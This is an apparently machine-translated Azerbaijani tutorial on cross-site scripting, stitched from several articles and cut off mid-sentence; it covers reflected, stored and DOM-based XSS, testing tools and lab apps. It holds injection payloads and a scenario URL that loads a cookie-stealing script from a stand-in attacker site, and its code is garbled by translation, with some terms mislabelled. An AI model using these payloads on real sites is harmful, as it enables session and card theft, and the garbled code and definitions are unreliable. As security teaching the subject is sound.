Saytda, axtarış nəticələri ilə yanaşı, "Axtardığınız: [axtarış sətri]" kimi bir şey göstərilir, lakin məlumatlar düzgün süzülmür. Belə bir səhifə yalnız bağlantısı olanlar üçün göstərildiyindən, təcavüzkar saytın digər istifadəçilərinə bağlantı göndərməyincə hücum işləməyəcək. Zərərçəkmişə bir keçid göndərmək əvəzinə zərərli skriptin zərərçəkənin ziyarət etdiyi neytral saytda yerləşdirilməsindən istifadə edə bilərsiniz.

Həm də fərqləndirirlər (bəziləri bir növ uçucu XSS zəiflikləri kimi, bəziləri də bu növün bir növ davamlı XSS ola biləcəyini söyləyirlər):

DOM modelləri

DOM əsaslı XSS xüsusiyyətləri

Sadə dildə desək, HTML kodunu açsaq "nizamlı" uçucu XSS -in zərərli kodunu görə bilərik. Məsələn, belə bir əlaqə qurulur:
Http://example.com/search.php?q= "/>
Mənbə HTML kodunu açanda belə bir şey görürük:
< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >xəbərdarlıq (1)" /> < button type = "submit" class = "ui-button" >Tapın
Və DOM XSS, brauzerdə əmələ gələn DOM quruluşunu dəyişdirir və zərərli kodu yalnız formalaşmış DOM quruluşuna baxdığımızda görə bilərik. Bu HTML -ni dəyişdirmir. Nümunə olaraq aşağıdakı kodu götürək:
< html > < head > < title >veb sayt ::: DOM XSS < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Xəta baş verdi ... < script >funksiyası OnLoad () (var foundFrag = get_fragment (); return foundFrag;) funksiyası get_fragment () (var r4c = "(. *?)"; var results = location.hash.match (". * input = token (" +) r4c + ");") if (nəticələr) (document.getElementById ("default"). innerHTML = ""; return (unescape (results));) else (return null;)) display_session = OnLoad (); document.write ("Sessiya ID -niz:" + display_session + "idi)< br >< br >")
Sonra brauzerdə görürük:

Səhifənin mənbə kodu:

Ünvanı aşağıdakı kimi formalaşdıraq:
Http: //localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Səhifə indi belə görünür:

Ancaq HTML mənbəsinə nəzər salaq:

Orada heç nə dəyişməyib. Dediyim budur, zərərli kodu müəyyən etmək üçün sənədin DOM quruluşuna baxmalıyıq:

Budur XSS -in işləyən bir prototipi, əsl hücum üçün daha mürəkkəb bir yükə ehtiyacımız var, bu da tətbiqin nöqtəli vergüldən dərhal sonra oxumağı dayandırması və buna bənzər bir şeydir. xəbərdarlıq (1); xəbərdarlıq (2) artıq mümkün deyil. Lakin, sayəsində çıxmaq () qaytarılmış məlumatlarda belə bir faydalı yük istifadə edə bilərik:
Http: //localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Simvolu harada əvəz etdik ; URI kodlu ekvivalentinə!

Standart zərərsiz JavaScript yükü yaza bilərik və qurbana göndərmək üçün bir keçid tərtib edə bilərik.

XSS Auditoru

Google Chrome -da (və indi Google Chrome mühərrikindən istifadə edən Operada) belə bir sürprizlə qarşılaşdım:

dom_xss.html: 30 XSS Auditoru ‘http: //localhost/tests/XSS/dom_xss.html#input=token‹ skript› siqnalı (1) daxilində bir skript icra etməkdən imtina etdi.; 'Çünki mənbə kodu sorğuda tapıldı. Server nə 'X-XSS-Qoruma', nə də 'Məzmun Təhlükəsizliyi Siyasəti' başlığı göndərmədiyi üçün auditor işə salındı.

Bunlar. İndi brauzerdə XSS -in qarşısını almağa çalışacaq bir XSS auditoru var. Firefox -un bu funksiyası hələ yoxdur, amma düşünürəm ki, bu zaman məsələsidir. Brauzerlərdə tətbiq müvəffəqiyyətli olarsa, XSS -dən istifadənin əhəmiyyətli bir çətinliyindən danışa bilərik.

Müasir brauzerlərin uçucu XSS və DOM əsaslı XSS kimi problemlərin istismarını məhdudlaşdırmaq üçün addımlar atdığını xatırlamaq faydalıdır. Brauzerdən istifadə edərək veb saytları sınayarkən bunu da yadda saxlamaq lazımdır - yaxşı olar ki, veb tətbiqetməsi həssasdır, ancaq brauzer onu blok etdiyinə görə təsdiq açılır pəncərəsini görmürsünüz.

XSS istismar nümunələri

Saytlar arası skript boşluqlarından istifadə etmək istəyən təcavüzkarlar hər bir zəiflik sinifinə fərqli yanaşmalıdırlar. Hər sinif üçün hücum vektorları burada təsvir edilmişdir.

XSS zəiflikləri ilə hücumlar, hücumu veb saytdan yerli istifadəçi mühitinə qədər uzadan BeEF -dən istifadə edə bilər.

Uçucu XSS hücumuna bir nümunə

1. Alice, Bobun ev sahibliyi etdiyi müəyyən bir veb saytı tez -tez ziyarət edir. Bobun veb saytı Aliceə istifadəçi adı / şifrə ilə daxil olmağa və ödəniş məlumatları kimi həssas məlumatları saxlamağa imkan verir. Bir istifadəçi daxil olduqda, brauzer mənasız simvollara bənzəyən avtorizasiya çerezlərini saxlayır, yəni. hər iki kompüter (müştəri və server) onun daxil olduğunu xatırlayır.

2. Malorie, Bobun veb saytında uçucu bir XSS zəifliyi olduğunu qeyd edir:

2.1 Axtarış səhifəsinə daxil olarkən, axtarış sətrini daxil edir və göndər düyməsini tıklayır, heç bir nəticə tapılmırsa, səhifəyə daxil edilmiş axtarış sətri göstərilir, ardınca "tapılmadı" sözləri yazılır və url görünür http://bobssite.org?q= onun axtarış sorğusu

2.2 "kimi normal bir axtarış termini ilə itlər"Səhifə sadəcə göstərilir" itlər tapılmadı "və url http://bobssite.org?q= itlər, bu normal davranışdır.

2.3 Ancaq anormal bir axtarış sorğusu kimi bir axtarışa göndərildikdə :

2.3.1 Bir xəbərdarlıq mesajı görünür ("xss" yazılır).

2.3.2 Səhifə göstərilir tapılmadı'xss' mətni olan bir səhv mesajı ilə birlikdə.

2.3.3 istifadə edilə bilən url http://bobssite.org?q=alert(‘xss’);

3. Mallory, zəiflikdən istifadə etmək üçün bir URL qurur:

3.1 URL edir http://bobssite.org?q=puppies ... ASCII simvollarını onaltılıq formata çevirməyi seçə bilər http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E insanların zərərli URL -ni dərhal deşifr etməsinin qarşısını almaq üçün.

3.2 Bob saytının heç bir şübhəsi olmayan üzvünə "Sərin itləri yoxlayın" deyə bir e-poçt göndərir.

4. Alice bir məktub alır. Köpəkləri sevir və linki vurur. Axtarışda Bobun saytına gedir, heç bir şey tapmır, "it tapılmadı" yazır və ortada skriptlə bir etiket başlayır (ekranda görünmür), Mallory -nin authstealer.js proqramını yükləyir və icra edir. (XSS hücumunu tetikler). Alice bunu unudur.

5. authstealer.js proqramı Alicein brauzerində sanki Bobun veb saytından qaynaqlanır. Alice'in icazə çerezlərinin bir nüsxəsini götürüb Malorie'nin serverinə göndərir və Malorie onları geri alır.

7. İndi Malorie içəridə olduğu üçün veb saytın ödəniş bölümünə girir, yuxarı baxır və Alicein kredit kartı nömrəsinin surətini oğurlayır. Sonra gedib şifrəni dəyişir, yəni. İndi Alice artıq içəri girə bilmir.

8. Növbəti addımı atmaq qərarına gəlir və bu şəkildə qurulmuş əlaqəni Bobun özünə göndərir və bununla da Bobun saytının inzibati imtiyazlarını alır.

Daimi XSS hücumu

Bobin veb saytında Malorinin hesabı var.

Malorie, Bobun veb saytının davamlı XSS zəifliyi olduğunu görür. Yeni bir bölməyə girsəniz, bir şərh yazın, onda daxil edilmiş hər şeyi göstərir. Ancaq şərh mətnində HTML etiketləri varsa, bu etiketlər olduğu kimi göstəriləcək və hər hansı bir skript etiketləri işlədiləcəkdir.

Malorie məqaləni Xəbərlər bölməsində oxuyur və Şərhlər bölməsində şərh yazır. Mətni şərhə daxil edir:

Bu hekayədə itləri çox bəyəndim. Çox gözəldirlər!
Enjekte etdiyiniz kodun hansı HTML etiketlərinə düşdüyünə diqqət yetirin. Tipik bir giriş sahəsinin bir nümunəsidir
< input type = "text" class = "ui-input query" name = "q" value = "yastıq çantası" />< script >xəbərdarlıq (1)< input value = "" />
Yükümüz "yastıq çantası" sözünün indi olduğu yerə gedəcək. Bunlar. etiket dəyərinə çevrilir giriş... İkili təklifi və sonra etiketin özünü bağlayaraq bunun qarşısını ala bilərik «/>

"/>
XSS zəifliklərini tapmaq və skan etmək üçün proqramlar

Yəqin ki, bütün veb tətbiq skanerlərində quraşdırılmış XSS zəiflik skaneri var. Bu mövzu hərtərəfli deyil, hər bir belə skanerlə ayrıca tanış olmaq daha yaxşıdır.

XSS zəifliklərini yoxlamaq üçün xüsusi vasitələr də var. Bunların arasında xüsusilə vurğulamaq mümkündür:

XSSer, müxtəlif enjeksiyon və süzgəcdən keçmə üsullarından istifadə edə bilən güclü bir skaner deyil, eyni zamanda XSS -ə qarşı həssas olan saytları tapmaq üçün avtomatik bir vasitədir. Aşkar edilmiş zəiflikləri olan saytlar üçün real bir hücum üçün faydalı yük yükləyə bilir;

XssPy eyni zamanda bir saytın bütün səhifələrini (alt sahələrdə olanlar da daxil olmaqla) tapa bilən və bu səhifələrdəki bütün giriş elementlərini yoxlaya bilən kifayət qədər müstəqil bir vasitədir;

BruteXSS - bu vasitənin müsbət bir xüsusiyyəti yanlış pozitivlərin tamamilə aradan qaldırılmasıdır.

XSS Testi üçün həssas Web Tətbiqləri

Həssas veb tətbiqetmələrinin əksəriyyətinə (bəzi yüksək ixtisaslaşmışlar istisna olmaqla) XSS -ə qarşı həssas saytlar daxildir. Ən yaxşı seçim, test üçün bir çox tətbiq toplayan Dojo müstəqil öyrənmə mühitində istifadə etməkdir. Məsələn, XSS -ni müəyyən etmək və idarə etmək bacarıqlarınız aşağıdakı mövzularda öyrədilə bilər:

Lənətə gələn həssas Web Tətbiqi (DVWA):

http: // localhost / dvwa / zəifliklər / xss_r / (uçucu XSS)

http: // localhost / dvwa / zəifliklər / xss_s / (saxlanılan XSS)

Mutillidae / NOWASP (çox fərqli XSS varyasyonları)

http: // localhost / mutillidae /

XSS vasitəsilə təcrübəli kiber cinayətkarlar üzərlərində işləyən skriptləri yoluxmuş mənbələri ziyarət edərkən icra olunan qurban saytlarının səhifələrinə birləşdirirlər. Müxtəlif şiddət dərəcələrinə malik bir neçə növ XSS zəifliyi var.

Passiv və aktiv zəifliyin xüsusiyyətləri

Aktiv bir zəifliklə ən diqqətli olmalısınız. Bir təcavüzkar öz SQL kodunu əlçatan bir verilənlər bazasına və ya bir serverdəki bir fayla daxil etdikdə, yoluxmuş mənbənin hər bir ziyarətçisi qurban ola bilər. Belə yerlər tez -tez inteqrasiya olunur, buna görə də verilənlər bazasında saxlanılan qorumanız tərəfindən işlənən məlumatlar belə müəyyən təhlükə yarada bilər.

Passiv bir XSS zəifliyi yaratmaq, təcavüzkardan bir az bacarıq tələb edir. Ya sizi hər cür bağlantıları olan saxta bir mənbəyə cəlb edirlər, ya da hər hansı bir vasitə ilə sizi lazımlı sayta yönləndirməyə çalışırlar. Bu, ümumiyyətlə, ziyarət etdiyiniz səhifənin uydurma rəhbərliyindən, hesab parametrlərini yoxlamaq istəkləri ilə baş verir. Çox ziyarət edilən forumlarda müxtəlif spam göndərmələri və ya yazıları da fəal şəkildə istifadə olunur.

Passiv XSS zəifliyi həm POST, həm də GET parametrlərindən gələ bilər. Birincisi, bir çox fərqli hiylə ilə xarakterizə olunur, ikincisi url sətrinin kodlaşdırılması və ya əlavə dəyərlərin daxil edilməsidir.

Çerezləri oğurlamaq

Çox vaxt, XSS hücumunun hədəfinə çevrilən Çerezlərinizdir. Bəzən istifadəçi adları və istifadəçilərin şifrələri və ya hashləri daxil olmaqla dəyərli məlumatlar ehtiva edir. Ancaq sizin üçün vacib olan saytların aktiv seanslarının oğurlanması da olduqca təhlükəlidir, buna görə də ev kompüterinizdən saytları ziyarət edərkən belə "çıx" düyməsini basmağı unutmayın. Baxmayaraq ki, bu cür hərəkətlərin qarşısını almaq üçün əksər mənbələr sessiyanın müddətini avtomatik məhdudlaşdırır. XMLHttpRequest -in domen məhdudiyyətləri bu cür hücumlardan qorunmur.

Doldurula bilən formalardan məlumatlar

Məlumatı doldurula bilən formalarda oxumaq da məşhurdur. Bunun üçün hadisələr maraqlanan səhifələrdə izlənilir (göndərilir) və verilən bütün məlumatlar da təcavüzkarların serverlərinə göndərilir. Bu cür hücumlar bir çox cəhətdən fişinq hücumlarına bənzəyir, lakin oğurluq saxta saytda deyil, yaxşı nüfuza malik olan real saytda baş verir.

DDoS hücumları paylandı

Çox tərəfli mənbələr XSS hücumları üçün də istifadə olunur. XSS zəifliyi səbəbindən onlara gələn istəklər hacklənmiş serverə yönləndirilir, bunun nəticəsində qorunması dayanıqlı deyil.

Sahələrarası İstək Sahibi (CSRF / XSRF)

XSS ilə də çox az əlaqəsi var. Bu, XSS ilə birlikdə istifadə edilən ayrı bir zəiflik növüdür. Məqsədləri, hiyləgər əməliyyatlar aparmaq üçün səlahiyyətli bir istifadəçini toxunulmaz bir saytdan saxta həssas bir səhifəyə cəlb etməkdir. Məsələn, elektron ödəniş sistemindən istifadə edən bir müştəri təcavüzkarların hesablarına pul köçürən həssas bir sayta cəlb olunur. Buna görə, əksər ödəniş sistemləri, əməliyyatı təsdiq edən bir parol və ya kod əlavə edərək qorunma təmin edir.

XSS Qurd Enjeksiyonu

Saytda belə bir XSS hücumu, tanınmış sosial şəbəkələrin (Vkontakte, Twitter və başqaları) inkişafı ilə ortaya çıxdı. Onların vasitəsi ilə bütün istifadəçi qrupları, şəbəkə adından spam göndərən inteqrasiya edilmiş skriptləri olan həssas XSS bağlantılarını alır. Şəxsi məlumatların və fotoşəkillərin kopyalanmasının təcavüzkarların mənbələrinə ötürülməsi də geniş tətbiq olunur.

Zərərsiz XSS nümunələri

Qeyd edək ki, bir çox sayğac növləri də aktiv XSS kimi çıxış edir. Qeydiyyatdan keçmiş ziyarətçilər haqqında məlumatları (IP ünvanları, istifadə olunan avadanlıqlar haqqında məlumatlar) ötürürlər.

Yalnız bu kod öz istəyinizlə kompüterinizə inteqrasiya olunur. Digər oxşar XSS-ə bir çox sahələrarası AJAX sorğuları daxildir.

Təhlükəsizlik başlıqlarının istifadəsi saytı və ziyarətçilərini haker hücumlarından qorumaq üçün vacib bir keçiddir. Qoruma və təhlükəsizlik bölməsindən olan son məqalədə, bu mövzuda mütəmadi olaraq yazılar dərc edəcəyimə söz vermişdim. Bu gün XSS hücumlarından qorunma haqqında danışacağam.

XSS hücumu nədir

Saytlar Arası Skript, təcavüzkarın veb saytın məzmununa zərərli kod (ümumiyyətlə HTML və ya JavaScript) daxil etməsinə imkan verən bir zəiflikdir. Zərərli kod veb saytın yoluxmuş səhifəsinə baxan istifadəçinin brauzerində icra olunur.

Təcavüzkarlar müxtəlif zəifliklərdən istifadə edə bilərlər. Ən çox yayılmış iki hücum növüdür:

Reflected (Reflected XSS), istifadəçinin müəyyən bir hərəkət etməsini tələb edən ən çox yayılmış davamlı hücum növüdür.

Saxlanılan (Davamlı XSS), serverə zərərli kodun vurulması ilə davam edən hücum növüdür, istifadəçi müdaxiləsi tələb olunmur.

XSS hücumu əks olundu

İstifadəçi zəifliyi olan bir sayta sorğu göndərən xüsusi hazırlanmış bir linki tıkladıqda yanır. Bu zəiflik, adətən, funksiyaları manipulyasiya etməyə və zərərli skriptləri aktivləşdirməyə imkan verən daxil olan sorğuların kifayət qədər süzülməməsinin nəticəsidir.

Təcavüzkar, istifadəçinin oturumunun çerezlərinə baxmağa imkan verən köprüyə zərərli bir skript vurur və e -poçt və ya digər ünsiyyət vasitəsi ilə qurbana göndərir.

Linki tıkladıqda istifadəçi qaçırılır.

Skript istifadəçinin brauzerində icra olunur.

Brauzer istifadəçinin şəxsi məlumatlarına giriş təmin edərək təcavüzkara çerezlər göndərir.

XSS hücumu saxlanılır

Saxlanılan bir hücumu müvəffəqiyyətlə həyata keçirmək üçün təcavüzkarın yalnız saytda bir zəiflik tapması və serverinə zərərli bir skript yerləşdirməsi lazımdır. Sonra saytda bir etiket yerləşdirilir